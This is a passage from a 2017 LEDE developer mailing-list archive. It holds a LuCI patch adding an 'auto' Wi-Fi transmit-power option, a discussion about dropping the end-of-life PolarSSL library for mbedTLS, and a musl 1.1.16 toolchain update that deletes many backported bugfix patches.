Message-ID: <20170103145457.28306-1-zajec5@gmail.com>

From: Rafa? Mi?ecki <rafal at milecki.pl>

Sometimes txpower is not set so we should have an option with empty
value to let it stay unset.

Signed-off-by: Rafa? Mi?ecki <rafal at milecki.pl>
---
 .../luci-mod-admin-full/luasrc/model/cbi/admin_network/wifi.lua    | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/modules/luci-mod-admin-full/luasrc/model/cbi/admin_network/wifi.lua b/modules/luci-mod-admin-full/luasrc/model/cbi/admin_network/wifi.lua
index 2dff4dd..91d0929 100644
--- a/modules/luci-mod-admin-full/luasrc/model/cbi/admin_network/wifi.lua
+++ b/modules/luci-mod-admin-full/luasrc/model/cbi/admin_network/wifi.lua
@@ -94,7 +94,7 @@ local function txpower_current(pwr, list)
 			end
 		end
 	end
-	return (list[#list] and list[#list].driver_dbm) or pwr or 0
+	return pwr or ""
 end
 
 local iw = luci.sys.wifi.getiwinfo(arg[1])
@@ -191,7 +191,7 @@ end
 ------------------- MAC80211 Device ------------------
 
 if hwtype == "mac80211" then
-	if #tx_power_list > 1 then
+	if #tx_power_list > 0 then
 		tp = s:taboption("general", ListValue,
 			"txpower", translate("Transmit Power"), "dBm")
 		tp.rmempty = true
@@ -200,6 +200,7 @@ if hwtype == "mac80211" then
 			return txpower_current(Value.cfgvalue(...), tx_power_list)
 		end
 
+		tp:value("", translate("auto"))
 		for _, p in ipairs(tx_power_list) do
 			tp:value(p.driver_dbm, "%i dBm (%i mW)"
 				%{ p.display_dbm, p.display_mw })
@@ -251,6 +252,7 @@ if hwtype == "atheros" then
 		return txpower_current(Value.cfgvalue(...), tx_power_list)
 	end
 
+	tp:value("", translate("auto"))
 	for _, p in ipairs(tx_power_list) do
 		tp:value(p.driver_dbm, "%i dBm (%i mW)"
 			%{ p.display_dbm, p.display_mw })
@@ -308,6 +310,7 @@ if hwtype == "broadcom" then
 		return txpower_current(Value.cfgvalue(...), tx_power_list)
 	end
 
+	tp:value("", translate("auto"))
 	for _, p in ipairs(tx_power_list) do
 		tp:value(p.driver_dbm, "%i dBm (%i mW)"
 			%{ p.display_dbm, p.display_mw })
-- 
2.10.1



From champetier.etienne at gmail.com  Tue Jan  3 08:01:20 2017
From: champetier.etienne at gmail.com (Etienne Champetier)
Date: Tue, 3 Jan 2017 08:01:20 -0800
Subject: [LEDE-DEV] Fading out PolarSSL
In-Reply-To: <2e242fd7-aa1f-7ebf-2aad-f139771548f1@mein.io>
References: <2e242fd7-aa1f-7ebf-2aad-f139771548f1@mein.io>
Message-ID: <CAOdf3gqipa-SU80o9pWm8oNBobv15YD0f7r95EjLnaB9uNBpJA@mail.gmail.com>

Hi,

2017-01-03 4:22 GMT-08:00 Jo-Philipp Wich <jo at mein.io>:
> Hi list,
>
> the mbed TLS project (formerly known as PolarSSL) declared the mbedTLS
> 1.3 branch (packaged as "libpolarssl" by LEDE) to be EOL with the end of
> the year 2016. [1]
>
> In order to avoid shipping an outdated and possibly vulnerable SSL
> library with the first LEDE release we begun migrating core package
> dependencies and default library choices to the "mbedtls" package which
> includes the most recent 2.4.0 release of mbedTLS.
>
> There has been an ongoing discussion in IRC on how to handle the
> remaining users of the legacy PolarSSL package and whether to ship this
> library with the initial release and remove it later or whether to drop
> it now in order to catch potential fallout early.
>
> Since we didn't want to single-handedly decide this issue in IRC I took
> the topic to the list now to facilitate wider feedback.
>
> Right now there are more or less two approaches proposed:
>
> a) Keep libpolarssl available for the initial 17.01.0 release and drop
>    it with the first maintenance release 17.01.1 about 6-8 weeks later
>
> b) Drop libpolarssl now, even before branching and urge the feed package
>    maintainers to migrate users of libpolarssl to the libmbedtls variant
>
> Currently known remaining users of polarssl are:
>
>  * bmx7
>  * pianod
>  * shadowsocks-libev-polarssl
>  * shairport-sync-mini
>  * shairport-sync-polarssl
>  * transmission-cli-polarssl
>  * transmission-daemon-polarssl
>  * transmission-remote-polarssl
>  * umurmur-polarssl
>
>
> Please provide feedback on which approach you'd prefer and if you'd be
> affected by the PolarSSL deprecation or not.

you can also mark it @BROKEN, so people can still build it manually
without too much effort

My 2 cents
Etienne


>
> Regards,
> Jo
>
>
> 1: https://tls.mbed.org/tech-updates/releases/mbedtls-2.0.0-released
>
> _______________________________________________
> lede-adm mailing list
> lede-adm at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-adm


From steven at midlink.org  Tue Jan  3 08:32:51 2017
From: steven at midlink.org (Steven Barth)
Date: Tue, 03 Jan 2017 17:32:51 +0100
Subject: [LEDE-DEV] Fading out PolarSSL
In-Reply-To: <2e242fd7-aa1f-7ebf-2aad-f139771548f1@mein.io>
References: <2e242fd7-aa1f-7ebf-2aad-f139771548f1@mein.io>
Message-ID: <d2aeb1bdb7169fdd210ea09ebdbd6378@midlink.org>

Hey everyone,

> Currently known remaining users of polarssl are:
> 
>  * bmx7
>  * pianod
>  * shadowsocks-libev-polarssl
>  * shairport-sync-mini
>  * shairport-sync-polarssl
>  * transmission-cli-polarssl
>  * transmission-daemon-polarssl
>  * transmission-remote-polarssl
>  * umurmur-polarssl
> 
> 
> Please provide feedback on which approach you'd prefer and if you'd be
> affected by the PolarSSL deprecation or not.

I think for all but the first two from this list, there is a 
non-polarssl version already packaged.
Which would mainly leave bmx7 and pianod as main concerns. I think the 
former used to work with cyassl
at some point in time and the latter should work with gnutls. Both of 
which we have, so it might just
be a minor change to the packaging Makefiles.

So from my point of view dropping libpolarssl now (with a bit of upfront 
notice to the maintainers)
makes more sense than trying to drop a package later which is a bit of 
unexpected and am not sure if
it can be effectively announced in a service release and just delays the 
inevitable.


Cheers,

Steven


From chunkeey at googlemail.com  Tue Jan  3 08:51:04 2017
From: chunkeey at googlemail.com (Christian Lamparter)
Date: Tue,  3 Jan 2017 17:51:04 +0100
Subject: [PATCH v2] musl: update musl to 1.1.16+ and switch to download from
 git
Message-ID: <20170103165104.4368-1-chunkeey@googlemail.com>

From: Christian Lamparter <chunkeey at gmail.com>

This patch updates musl to 1.1.16+ [0] and removes all the
backported patches. This is a major release and tagged as such.
For more information visit musl-libc.org or read the WHATSNEW.

Furthermore, this patch also changes musl to download directly
from git. This makes it easier to update musl in the future.

The patch custom Add-format-attribute-to-some-function-declarations.patch
was assigned a new 400- number. This should avoid confusion
since 0xx numbers are usually assigned to backports.

[0] <http://git.musl-libc.org/cgit/musl/commit/?id=769f53598e781ffc89191520f3f8a93cb58db91f>

Cc: Hannu Nyman <hannu.nyman at iki.fi>
Cc: Koen Vandeputte <koen.vandeputte at ncentric.com>
Cc: Jo-Philipp Wich <jo at mein.io>
Cc: Hauke Mehrtens <hauke at hauke-m.de>
Signed-off-by: Christian Lamparter <chunkeey at googlemail.com>
---
Changes from v1 -> v2:
	- readded accidentally dropped
	  Add-format-attribute-to-some-function-declarations.patch
	  (Hannu Nyman)
	- assigned 400- to said patch (Koen Vandeputte)
	- updated to "make globfree safe after failed glob from over-length argument"
	  (commit 769f53598e781ffc89191520f3f8a93cb58db91f)
	- added PKG_MIRROR_HASH. (I hope this works well enough for everybody)

Well, the "0xx patch is reserved backport" is sort of true for
patches in target/linux/generic (see the README there). But not
necessary for other packages. Also, I read about John's plan to
have a dedicated backport folder. So yeah. If someone wants to
do a reassignment: Go for it!
---
 toolchain/musl/Config.version                      |   2 +-
 toolchain/musl/common.mk                           |   9 +-
 ...ime-day-month-names-not-to-vary-by-locale.patch |  41 ---
 ...regression-in-tcsetattr-on-all-mips-archs.patch |  67 ----
 ...d-pwrite-syscall-calling-convention-on-sh.patch |  71 ----
 ...ttyname-refers-to-the-same-file-as-the-fd.patch |  49 ---
 .../025-fix-ffsync-by-changing-it-to-osync.patch   |  25 --
 ...-alt-form-octal-zero-flag-and-field-width.patch |  31 --
 ...-ifru_data-and-ifcu_buf-types-in-net-if.h.patch |  35 --
 .../030-fix-if_indextoname-error-case.patch        |  36 --
 ...and-wcsftime_l-prototypes-to-wchar-header.patch |  38 --
 ...fined-behavior-in-sched.h-cpu_set_t-usage.patch |  43 ---
 ...getservby_r-result-pointer-value-on-error.patch |  41 ---
 .../036-fix-strftime-y-for-negative-tm_year.patch  |  23 --
 ...hecks-in-regexec-buffer-size-computations.patch |  72 ----
 ...with-haystack-strings-longer-than-int_max.patch | 189 ----------
 ...float-printf-needed-precision-computation.patch |  35 --
 ...ows-and-uncaught-eoverflow-in-printf-core.patch | 390 ---------------------
 .../patches/048-math-fix-pow-signed-shift-ub.patch |  38 --
 .../049-fix-clock_nanosleep-error-case.patch       |  30 --
 .../musl/patches/050-add-pthread_setname_np.patch  |  58 ---
 ...at-formatting-of-some-exact-halfway-cases.patch |  30 --
 ...pt_long_only-misinterpreting-as-an-option.patch |  24 --
 ...gratuitous-undefined-behavior-in-strptime.patch |  33 --
 ...-strtof-rounding-with-many-trailing-zeros.patch |  36 --
 ...optimization-in-non-nearest-rounding-mode.patch |  38 --
 ...teger-overflow-of-tm_year-in-__secs_to_tm.patch |  39 ---
 ...-internal-buffer-state-and-error-handling.patch |  36 --
 ...gression-on-archs-with-variable-page-size.patch |  32 --
 ...-attribute-to-some-function-declarations.patch} |   0
 .../musl/patches/400-fix_quoted_timezone.patch     |  11 -
 31 files changed, 7 insertions(+), 1595 deletions(-)
 delete mode 100644 toolchain/musl/patches/005-fix-asctime-day-month-names-not-to-vary-by-locale.patch
 delete mode 100644 toolchain/musl/patches/010-fix-regression-in-tcsetattr-on-all-mips-archs.patch
 delete mode 100644 toolchain/musl/patches/015-fix-pread-pwrite-syscall-calling-convention-on-sh.patch
 delete mode 100644 toolchain/musl/patches/020-verify-that-ttyname-refers-to-the-same-file-as-the-fd.patch
 delete mode 100644 toolchain/musl/patches/025-fix-ffsync-by-changing-it-to-osync.patch
 delete mode 100644 toolchain/musl/patches/028-fix-printf-regression-with-alt-form-octal-zero-flag-and-field-width.patch
 delete mode 100644 toolchain/musl/patches/029-fix-ifru_data-and-ifcu_buf-types-in-net-if.h.patch
 delete mode 100644 toolchain/musl/patches/030-fix-if_indextoname-error-case.patch
 delete mode 100644 toolchain/musl/patches/031-add-missing-unlocked-and-wcsftime_l-prototypes-to-wchar-header.patch
 delete mode 100644 toolchain/musl/patches/033-fix-undefined-behavior-in-sched.h-cpu_set_t-usage.patch
 delete mode 100644 toolchain/musl/patches/035-fix-getservby_r-result-pointer-value-on-error.patch
 delete mode 100644 toolchain/musl/patches/036-fix-strftime-y-for-negative-tm_year.patch
 delete mode 100644 toolchain/musl/patches/037-fix-missing-integer-overflow-checks-in-regexec-buffer-size-computations.patch
 delete mode 100644 toolchain/musl/patches/038-fix-regexec-with-haystack-strings-longer-than-int_max.patch
 delete mode 100644 toolchain/musl/patches/039-fix-integer-overflow-in-float-printf-needed-precision-computation.patch
 delete mode 100644 toolchain/musl/patches/040-fix-integer-overflows-and-uncaught-eoverflow-in-printf-core.patch
 delete mode 100644 toolchain/musl/patches/048-math-fix-pow-signed-shift-ub.patch
 delete mode 100644 toolchain/musl/patches/049-fix-clock_nanosleep-error-case.patch
 delete mode 100644 toolchain/musl/patches/050-add-pthread_setname_np.patch
 delete mode 100644 toolchain/musl/patches/051-fix-float-formatting-of-some-exact-halfway-cases.patch
 delete mode 100644 toolchain/musl/patches/052-fix-getopt_long_only-misinterpreting-as-an-option.patch
 delete mode 100644 toolchain/musl/patches/053-fix-gratuitous-undefined-behavior-in-strptime.patch
 delete mode 100644 toolchain/musl/patches/054-fix-strtod-and-strtof-rounding-with-many-trailing-zeros.patch
 delete mode 100644 toolchain/musl/patches/055-fix-strtod-int-optimization-in-non-nearest-rounding-mode.patch
 delete mode 100644 toolchain/musl/patches/065-fix-integer-overflow-of-tm_year-in-__secs_to_tm.patch
 delete mode 100644 toolchain/musl/patches/066-fix-swprintf-internal-buffer-state-and-error-handling.patch
 delete mode 100644 toolchain/musl/patches/071-fix-build-regression-on-archs-with-variable-page-size.patch
 rename toolchain/musl/patches/{099-Add-format-attribute-to-some-function-declarations.patch => 400-Add-format-attribute-to-some-function-declarations.patch} (100%)
 delete mode 100644 toolchain/musl/patches/400-fix_quoted_timezone.patch

diff --git a/toolchain/musl/Config.version b/toolchain/musl/Config.version
index 537f3d834b..2b4b367d97 100644
--- a/toolchain/musl/Config.version
+++ b/toolchain/musl/Config.version
@@ -3,6 +3,6 @@ if USE_MUSL
 config MUSL_VERSION
 	string
 	depends on USE_MUSL
-	default "1.1.15"
+	default "1.1.16"
 
 endif
diff --git a/toolchain/musl/common.mk b/toolchain/musl/common.mk
index 9f3f7add4d..bfe8eebc7b 100644
--- a/toolchain/musl/common.mk
+++ b/toolchain/musl/common.mk
@@ -11,10 +11,13 @@ PKG_NAME:=musl
 PKG_VERSION:=$(call qstrip,$(CONFIG_MUSL_VERSION))
 PKG_RELEASE=1
 
-PKG_HASH:=97e447c7ee2a7f613186ec54a93054fe15469fe34d7d323080f7ef38f5ecb0fa
+PKG_SOURCE_PROTO:=git
+PKG_SOURCE_SUBDIR:=$(PKG_NAME)-$(PKG_VERSION)
+PKG_SOURCE_VERSION:=769f53598e781ffc89191520f3f8a93cb58db91f
+PKG_MIRROR_HASH:=c148c570cc46471ab30a1b36e96531519837e41c4347f3164bf610ab98741d80
+PKG_SOURCE_URL:=git://git.musl-libc.org/musl
+PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION)-$(PKG_SOURCE_VERSION).tar.xz
 
-PKG_SOURCE_URL:=http://www.musl-libc.org/releases
-PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
 LIBC_SO_VERSION:=$(PKG_VERSION)
 PATCH_DIR:=$(PATH_PREFIX)/patches
 
diff --git a/toolchain/musl/patches/005-fix-asctime-day-month-names-not-to-vary-by-locale.patch b/toolchain/musl/patches/005-fix-asctime-day-month-names-not-to-vary-by-locale.patch
deleted file mode 100644
index c0e0238171..0000000000
--- a/toolchain/musl/patches/005-fix-asctime-day-month-names-not-to-vary-by-locale.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 6399fa9d29ea83de4735680b77d457bd59606532 Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Thu, 7 Jul 2016 16:51:37 -0400
-Subject: fix asctime day/month names not to vary by locale
-
-the FIXME comment here was overlooked at the time locale support was
-added.
----
- src/time/__asctime.c | 9 ++++-----
- 1 file changed, 4 insertions(+), 5 deletions(-)
-
-diff --git a/src/time/__asctime.c b/src/time/__asctime.c
-index e7e7f07..f114dfe 100644
---- a/src/time/__asctime.c
-+++ b/src/time/__asctime.c
-@@ -1,17 +1,16 @@
- #include <time.h>
- #include <stdio.h>
- #include <langinfo.h>
-+#include "locale_impl.h"
- #include "atomic.h"
- 
--const char *__nl_langinfo(nl_item);
-+const char *__nl_langinfo_l(nl_item, locale_t);
- 
- char *__asctime(const struct tm *restrict tm, char *restrict buf)
- {
--	/* FIXME: change __nl_langinfo to __nl_langinfo_l with explicit C
--	 * locale once we have locales */
- 	if (snprintf(buf, 26, "%.3s %.3s%3d %.2d:%.2d:%.2d %d\n",
--		__nl_langinfo(ABDAY_1+tm->tm_wday),
--		__nl_langinfo(ABMON_1+tm->tm_mon),
-+		__nl_langinfo_l(ABDAY_1+tm->tm_wday, C_LOCALE),
-+		__nl_langinfo_l(ABMON_1+tm->tm_mon, C_LOCALE),
- 		tm->tm_mday, tm->tm_hour,
- 		tm->tm_min, tm->tm_sec,
- 		1900 + tm->tm_year) >= 26)
--- 
-cgit v0.11.2
-
-
diff --git a/toolchain/musl/patches/010-fix-regression-in-tcsetattr-on-all-mips-archs.patch b/toolchain/musl/patches/010-fix-regression-in-tcsetattr-on-all-mips-archs.patch
deleted file mode 100644
index f3def26b2a..0000000000
--- a/toolchain/musl/patches/010-fix-regression-in-tcsetattr-on-all-mips-archs.patch
+++ /dev/null
@@ -1,67 +0,0 @@
-From cff5747c74c41b22f1ce1340978b1c226a8cdf32 Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Wed, 13 Jul 2016 15:04:30 -0400
-Subject: [PATCH] fix regression in tcsetattr on all mips archs
-
-revert commit 8c316e9e49d37ad92c2e7493e16166a2afca419f. it was wrong
-and does not match how the kernel API works.
----
- arch/mips/bits/termios.h    | 6 +++---
- arch/mips64/bits/termios.h  | 6 +++---
- arch/mipsn32/bits/termios.h | 6 +++---
- 4 files changed, 10 insertions(+), 10 deletions(-)
-
-diff --git a/arch/mips/bits/termios.h b/arch/mips/bits/termios.h
-index f559f76..6a1205d 100644
---- a/arch/mips/bits/termios.h
-+++ b/arch/mips/bits/termios.h
-@@ -141,9 +141,9 @@ struct termios {
- #define TCOFLUSH  1
- #define TCIOFLUSH 2
- 
--#define TCSANOW 0x540e
--#define TCSADRAIN 0x540f
--#define TCSAFLUSH 0x5410
-+#define TCSANOW   0
-+#define TCSADRAIN 1
-+#define TCSAFLUSH 2
- 
- #if defined(_GNU_SOURCE) || defined(_BSD_SOURCE)
- #define EXTA    0000016
-diff --git a/arch/mips64/bits/termios.h b/arch/mips64/bits/termios.h
-index f559f76..6a1205d 100644
---- a/arch/mips64/bits/termios.h
-+++ b/arch/mips64/bits/termios.h
-@@ -141,9 +141,9 @@ struct termios {
- #define TCOFLUSH  1
- #define TCIOFLUSH 2
- 
--#define TCSANOW 0x540e
--#define TCSADRAIN 0x540f
--#define TCSAFLUSH 0x5410
-+#define TCSANOW   0
-+#define TCSADRAIN 1
-+#define TCSAFLUSH 2
- 
- #if defined(_GNU_SOURCE) || defined(_BSD_SOURCE)
- #define EXTA    0000016
-diff --git a/arch/mipsn32/bits/termios.h b/arch/mipsn32/bits/termios.h
-index f559f76..6a1205d 100644
---- a/arch/mipsn32/bits/termios.h
-+++ b/arch/mipsn32/bits/termios.h
-@@ -141,9 +141,9 @@ struct termios {
- #define TCOFLUSH  1
- #define TCIOFLUSH 2
- 
--#define TCSANOW 0x540e
--#define TCSADRAIN 0x540f
--#define TCSAFLUSH 0x5410
-+#define TCSANOW   0
-+#define TCSADRAIN 1
-+#define TCSAFLUSH 2
- 
- #if defined(_GNU_SOURCE) || defined(_BSD_SOURCE)
- #define EXTA    0000016
--- 
-2.8.1
-
diff --git a/toolchain/musl/patches/015-fix-pread-pwrite-syscall-calling-convention-on-sh.patch b/toolchain/musl/patches/015-fix-pread-pwrite-syscall-calling-convention-on-sh.patch
deleted file mode 100644
index b4b20d8ae2..0000000000
--- a/toolchain/musl/patches/015-fix-pread-pwrite-syscall-calling-convention-on-sh.patch
+++ /dev/null
@@ -1,71 +0,0 @@
-From 7cc3a28eed7e3b72a1ce4568fb55154bb0540726 Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Thu, 11 Aug 2016 18:36:46 -0400
-Subject: fix pread/pwrite syscall calling convention on sh
-
-despite sh not generally using register-pair alignment for 64-bit
-syscall arguments, there are arch-specific versions of the syscall
-entry points for pread and pwrite which include a dummy argument for
-alignment before the 64-bit offset argument.
----
- arch/sh/syscall_arch.h | 1 +
- src/internal/syscall.h | 4 ++++
- src/unistd/pread.c     | 2 +-
- src/unistd/pwrite.c    | 2 +-
- 4 files changed, 7 insertions(+), 2 deletions(-)
-
-diff --git a/arch/sh/syscall_arch.h b/arch/sh/syscall_arch.h
-index f63675a..84758fe 100644
---- a/arch/sh/syscall_arch.h
-+++ b/arch/sh/syscall_arch.h
-@@ -2,6 +2,7 @@
- ((union { long long ll; long l[2]; }){ .ll = x }).l[0], \
- ((union { long long ll; long l[2]; }){ .ll = x }).l[1]
- #define __SYSCALL_LL_O(x) __SYSCALL_LL_E((x))
-+#define __SYSCALL_LL_PRW(x) 0, __SYSCALL_LL_E((x))
- 
- /* The extra OR instructions are to work around a hardware bug:
-  * http://documentation.renesas.com/doc/products/mpumcu/tu/tnsh7456ae.pdf
-diff --git a/src/internal/syscall.h b/src/internal/syscall.h
-index ff3cf53..6d378a8 100644
---- a/src/internal/syscall.h
-+++ b/src/internal/syscall.h
-@@ -12,6 +12,10 @@
- #define SYSCALL_MMAP2_UNIT 4096ULL
- #endif
- 
-+#ifndef __SYSCALL_LL_PRW
-+#define __SYSCALL_LL_PRW(x) __SYSCALL_LL_O(x)
-+#endif
-+
- #ifndef __scc
- #define __scc(X) ((long) (X))
- typedef long syscall_arg_t;
-diff --git a/src/unistd/pread.c b/src/unistd/pread.c
-index 3d2799f..5483eb9 100644
---- a/src/unistd/pread.c
-+++ b/src/unistd/pread.c
-@@ -4,7 +4,7 @@
- 
- ssize_t pread(int fd, void *buf, size_t size, off_t ofs)
- {
--	return syscall_cp(SYS_pread, fd, buf, size, __SYSCALL_LL_O(ofs));
-+	return syscall_cp(SYS_pread, fd, buf, size, __SYSCALL_LL_PRW(ofs));
- }
- 
- LFS64(pread);
-diff --git a/src/unistd/pwrite.c b/src/unistd/pwrite.c
-index bbe4c34..4bf3d7d 100644
---- a/src/unistd/pwrite.c
-+++ b/src/unistd/pwrite.c
-@@ -4,7 +4,7 @@
- 
- ssize_t pwrite(int fd, const void *buf, size_t size, off_t ofs)
- {
--	return syscall_cp(SYS_pwrite, fd, buf, size, __SYSCALL_LL_O(ofs));
-+	return syscall_cp(SYS_pwrite, fd, buf, size, __SYSCALL_LL_PRW(ofs));
- }
- 
- LFS64(pwrite);
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/020-verify-that-ttyname-refers-to-the-same-file-as-the-fd.patch b/toolchain/musl/patches/020-verify-that-ttyname-refers-to-the-same-file-as-the-fd.patch
deleted file mode 100644
index d9cd0b397b..0000000000
--- a/toolchain/musl/patches/020-verify-that-ttyname-refers-to-the-same-file-as-the-fd.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From 0a950dcf15bb9f7274c804dca490e9e20e475f3e Mon Sep 17 00:00:00 2001
-From: Szabolcs Nagy <nsz at port70.net>
-Date: Sat, 20 Aug 2016 21:04:31 +0200
-Subject: verify that ttyname refers to the same file as the fd
-
-linux containers use separate mount namespace so the /proc
-symlink might not point to the right device if the fd was
-opened in the parent namespace, in this case return ENOENT.
----
- src/unistd/ttyname_r.c | 15 +++++++++++----
- 1 file changed, 11 insertions(+), 4 deletions(-)
-
-diff --git a/src/unistd/ttyname_r.c b/src/unistd/ttyname_r.c
-index 8bac7b2..a38ba4f 100644
---- a/src/unistd/ttyname_r.c
-+++ b/src/unistd/ttyname_r.c
-@@ -1,10 +1,12 @@
- #include <unistd.h>
- #include <errno.h>
-+#include <sys/stat.h>
- 
- void __procfdname(char *, unsigned);
- 
- int ttyname_r(int fd, char *name, size_t size)
- {
-+	struct stat st1, st2;
- 	char procname[sizeof "/proc/self/fd/" + 3*sizeof(int) + 2];
- 	ssize_t l;
- 
-@@ -15,8 +17,13 @@ int ttyname_r(int fd, char *name, size_t size)
- 
- 	if (l < 0) return errno;
- 	else if (l == size) return ERANGE;
--	else {
--		name[l] = 0;
--		return 0;
--	}
-+
-+	name[l] = 0;
-+
-+	if (stat(name, &st1) || fstat(fd, &st2))
-+		return errno;
-+	if (st1.st_dev != st2.st_dev || st1.st_ino != st2.st_ino)
-+		return ENOENT;
-+
-+	return 0;
- }
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/025-fix-ffsync-by-changing-it-to-osync.patch b/toolchain/musl/patches/025-fix-ffsync-by-changing-it-to-osync.patch
deleted file mode 100644
index fc7334d512..0000000000
--- a/toolchain/musl/patches/025-fix-ffsync-by-changing-it-to-osync.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-From c1f4ed150137d793c9d07356305a89e8785e7e02 Mon Sep 17 00:00:00 2001
-From: Duncan Overbruck <duncaen at voidlinux.eu>
-Date: Thu, 18 Aug 2016 17:06:16 +0200
-Subject: fix FFSYNC by changing it to O_SYNC
-
-O_FSYNC was never defined and is legacy/wrong, nothing seems to use it.
----
- include/fcntl.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/include/fcntl.h b/include/fcntl.h
-index e683e4d..0e165ca 100644
---- a/include/fcntl.h
-+++ b/include/fcntl.h
-@@ -99,7 +99,7 @@ int posix_fallocate(int, off_t, off_t);
- #define AT_EMPTY_PATH 0x1000
- 
- #define FAPPEND O_APPEND
--#define FFSYNC O_FSYNC
-+#define FFSYNC O_SYNC
- #define FASYNC O_ASYNC
- #define FNONBLOCK O_NONBLOCK
- #define FNDELAY O_NDELAY
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/028-fix-printf-regression-with-alt-form-octal-zero-flag-and-field-width.patch b/toolchain/musl/patches/028-fix-printf-regression-with-alt-form-octal-zero-flag-and-field-width.patch
deleted file mode 100644
index aa0c2cfdd6..0000000000
--- a/toolchain/musl/patches/028-fix-printf-regression-with-alt-form-octal-zero-flag-and-field-width.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From 78897b0dc00b7cd5c29af5e0b7eebf2396d8dce0 Mon Sep 17 00:00:00 2001
-From: Rich Felker <dalias at aerifal.cx>
-Date: Fri, 16 Sep 2016 17:40:08 -0400
-Subject: fix printf regression with alt-form octal, zero flag, and field width
-
-commit b91cdbe2bc8b626aa04dc6e3e84345accf34e4b1, in fixing another
-issue, changed the logic for how alt-form octal adds the leading zero
-to adjust the precision rather than using a prefix character. this
-wrongly suppressed the zero flag by mimicing an explicit precision
-given by the format string. switch back to using a prefix character.
-
-based on bug report and patch by Dmitry V. Levin, but simplified.
----
- src/stdio/vfprintf.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/stdio/vfprintf.c b/src/stdio/vfprintf.c
-index 2ecf769..e439a07 100644
---- a/src/stdio/vfprintf.c
-+++ b/src/stdio/vfprintf.c
-@@ -570,7 +570,7 @@ static int printf_core(FILE *f, const char *fmt, va_list *ap, union arg *nl_arg,
- 			if (0) {
- 		case 'o':
- 			a = fmt_o(arg.i, z);
--			if ((fl&ALT_FORM) && p<z-a+1) p=z-a+1;
-+			if ((fl&ALT_FORM) && p<z-a+1) prefix+=5, pl=1;
- 			} if (0) {
- 		case 'd': case 'i':
- 			pl=1;
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/029-fix-ifru_data-and-ifcu_buf-types-in-net-if.h.patch b/toolchain/musl/patches/029-fix-ifru_data-and-ifcu_buf-types-in-net-if.h.patch
deleted file mode 100644
index d5cc72dbdf..0000000000
--- a/toolchain/musl/patches/029-fix-ifru_data-and-ifcu_buf-types-in-net-if.h.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 3848a99f65952a77c03bbd905cae988f37f13ea6 Mon Sep 17 00:00:00 2001
-From: Daniel Sabogal <dsabogalcc at gmail.com>
-Date: Fri, 16 Sep 2016 13:34:24 -0400
-Subject: fix ifru_data and ifcu_buf types in net/if.h
-
-glibc, freebsd, and openbsd use character pointers (caddr_t) for
-these fields. only linux uses void pointer for the ifru_data type.
----
- include/net/if.h | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/include/net/if.h b/include/net/if.h
-index 1a4059d..2f2fcc1 100644
---- a/include/net/if.h
-+++ b/include/net/if.h
-@@ -89,7 +89,7 @@ struct ifreq {
- 		struct ifmap ifru_map;
- 		char ifru_slave[IFNAMSIZ];
- 		char ifru_newname[IFNAMSIZ];
--		void *ifru_data;
-+		char *ifru_data;
- 	} ifr_ifru;
- };
- 
-@@ -116,7 +116,7 @@ struct ifreq {
- struct ifconf {
- 	int ifc_len;		
- 	union {
--		void *ifcu_buf;
-+		char *ifcu_buf;
- 		struct ifreq *ifcu_req;
- 	} ifc_ifcu;
- };
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/030-fix-if_indextoname-error-case.patch b/toolchain/musl/patches/030-fix-if_indextoname-error-case.patch
deleted file mode 100644
index d680d4eb3f..0000000000
--- a/toolchain/musl/patches/030-fix-if_indextoname-error-case.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 32055d52ca43d867d6dbb763dc5213a8d3536a23 Mon Sep 17 00:00:00 2001
-From: Daniel Sabogal <dsabogalcc at gmail.com>
-Date: Thu, 15 Sep 2016 11:27:30 -0400
-Subject: fix if_indextoname error case
-
-posix requires errno to be set to ENXIO if the interface does not exist.
-linux returns ENODEV instead so we handle this.
----
- src/network/if_indextoname.c | 7 ++++++-
- 1 file changed, 6 insertions(+), 1 deletion(-)
-
-diff --git a/src/network/if_indextoname.c b/src/network/if_indextoname.c
-index 6ee7f13..3b368bf 100644
---- a/src/network/if_indextoname.c
-+++ b/src/network/if_indextoname.c
-@@ -3,6 +3,7 @@
- #include <sys/socket.h>
- #include <sys/ioctl.h>
- #include <string.h>
-+#include <errno.h>
- #include "syscall.h"
- 
- char *if_indextoname(unsigned index, char *name)
-@@ -14,5 +15,9 @@ char *if_indextoname(unsigned index, char *name)
- 	ifr.ifr_ifindex = index;
- 	r = ioctl(fd, SIOCGIFNAME, &ifr);
- 	__syscall(SYS_close, fd);
--	return r < 0 ? 0 : strncpy(name, ifr.ifr_name, IF_NAMESIZE);
-+	if (r < 0) {
-+		if (errno == ENODEV) errno = ENXIO;
-+		return 0;
-+	}
-+	return strncpy(name, ifr.ifr_name, IF_NAMESIZE);
- }
--- 
-cgit v0.11.2
diff --git a/toolchain/musl/patches/031-add-missing-unlocked-and-wcsftime_l-prototypes-to-wchar-header.patch b/toolchain/musl/patches/031-add-missing-unlocked-and-wcsftime_l-prototypes-to-wchar-header.patch
deleted file mode 100644
index 077afe8a68..0000000000
--- a/toolchain/musl/patches/031-add-missing-unlocked-and-wcsftime_l-prototypes-to-wchar-header.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From 5505f6afae9acf37ef565c68a07ca3df7b1ae2cb Mon Sep 17 00:00:00 2001
